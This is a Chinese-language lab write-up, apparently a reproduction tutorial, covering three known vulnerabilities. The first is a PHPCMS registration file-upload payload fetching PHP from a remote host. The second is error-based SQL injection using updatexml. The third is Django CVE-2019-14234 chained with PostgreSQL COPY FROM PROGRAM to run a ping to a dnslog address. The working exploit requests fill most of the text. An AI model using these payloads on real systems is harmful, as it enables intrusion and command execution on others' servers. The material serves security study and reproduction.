<p>exp.py文件在附件中，需要在文件内更改url和语句来食用:)</p>

<p>填好信息，提交的时候进行抓包</p>

<p>发送到repeater后，进行数据修改，即替换以下payload（注册信息自定义）：</p>
<pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code><span class="pln">siteid</span><span class="pun">=</span><span class="lit">1</span><span class="pun">&amp;</span><span class="pln">modelid</span><span class="pun">=</span><span class="lit">11</span><span class="pun">&amp;</span><span class="pln">username</span><span class="pun">=</span><span class="pln">test2</span><span class="pun">&amp;</span><span class="pln">password</span><span class="pun">=</span><span class="pln">test2123</span><span class="pun">&amp;</span><span class="pln">email</span><span class="pun">=</span><span class="pln">test2@163</span><span class="pun">.</span><span class="pln">com</span><span class="pun">&amp;</span><span class="pln">info</span><span class="pun">[</span><span class="pln">content</span><span class="pun">]=&lt;</span><span class="pln">img src</span><span class="pun">=</span><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/phpcms96/phpinfo.txt?.php#.jpg&gt;&amp;dosubmit=1&amp;protocol=</span></code></li></ol></pre><p>重点：modelid值必须为11，否则无法成功。</p>
<p>并且注意“127.0.0.1”ip可换成vps的ip或网址，此处为了复现的方便在本地创建了一句话文件。并且注册信息要改变(即username,email等字段)，不然可能会失败。</p>
<p>文本文件<code>phpinfo.txt</code>内容为<code>&lt;?php phpinfo() ?&gt;</code>, 作测试用。</p>
<p>点击“send”后得到响应包，可见包含了上传文件的地址：</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/6508/7398c135e3f1d0ec6f089be84b0dc78f_11298.png" alt=""></p>
<p>访问该地址，可见文件已成功上传。</p>

<p><img src="https://nc0.cdn.zkaq.cn/md/6508/d3f96493a85c9a92ba7dc27deb745524_33735.png" alt=""></p>
<p>在左侧“UCENTER 设置”处，点击提交信息并抓包：</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/6508/bc756f33d25aee21f6b77315743e5578_60076.png" alt=""></p>
<p>可知在“应用 ID”参数处存在报错注入，以下是测试步骤。</p>
<p>判断列数</p>
<pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code><span class="lit">1</span><span class="str">'  order by 1   //返回正确</span></code></li><li class="L1"><code><span class="str">1'</span><span class="pln">  order </span><span class="kwd">by</span><span class="pln"> </span><span class="lit">2</span><span class="pln">   </span><span class="com">//返回错误</span></code></li></ol></pre><p><img src="https://nc0.cdn.zkaq.cn/md/6508/931fb806d4784ee899430f0d7c367c69_59287.png" alt=""></p>
<p>查询当前用户</p>
<pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code><span class="lit">1</span><span class="str">' and updatexml(1,concat(0x7e,(select user())),1)-- a</span></code></li></ol></pre><p><img src="https://nc0.cdn.zkaq.cn/md/6508/521bd88bbe29923ebf4834365ed3a9f9_81850.png" alt=""></p>
<p>进一步的利用不再展示。</p>
<h2 id="h2-0x03-django-jsonfield-sql-cve-2019-14234-"><a name="0x03 Django JSONfield sql注入漏洞（CVE-2019-14234）" class="reference-link"></a><span class="header-link octicon octicon-link"></span>0x03 Django JSONfield sql注入漏洞（CVE-2019-14234）</h2><p>进入网站，直接来到后台页面,用admin账号登陆：</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/6508/9709b3a0852557c701c819a68b029279_26857.png" alt=""></p>
<p>然后访问<code>http://ip:8000/admin/vuln/collection/</code>页面：</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/6508/67f53fece39fd9a9ee68894017955e4e_16961.png" alt=""></p>
<p>然后在GET参数中构造<code>?detail__a%27b=123</code>提交，其中detail是模型Collection中的JSONField：</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/6508/0091d3cc853d282d486521c38de740ae_47522.png" alt=""></p>
<p>下一步结合CVE-2019-9193(PostgreSQL任意命令执行漏洞)尝试进行命令注入，构造url如下：<br>ps:CVE-2019-9193：具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令，该漏洞由PostgreSQL 引发。</p>
<p><code>http://[host]/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20</code></p>
<p><img src="https://nc0.cdn.zkaq.cn/md/6508/5e9c0ff2834a2d61ae24d0320b8a74f5_89492.png" alt=""></p>
<p>页面结果虽然报错，但是报错原因是no results to fetch，说明我们的语句已经执行.</p>
<p>然后用dnslog检测是否可以执行命令.</p>
<p><code>http://[host]/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping q7eds8.dnslog.cn'--%20</code></p>
<p>成功检测到流量。</p>
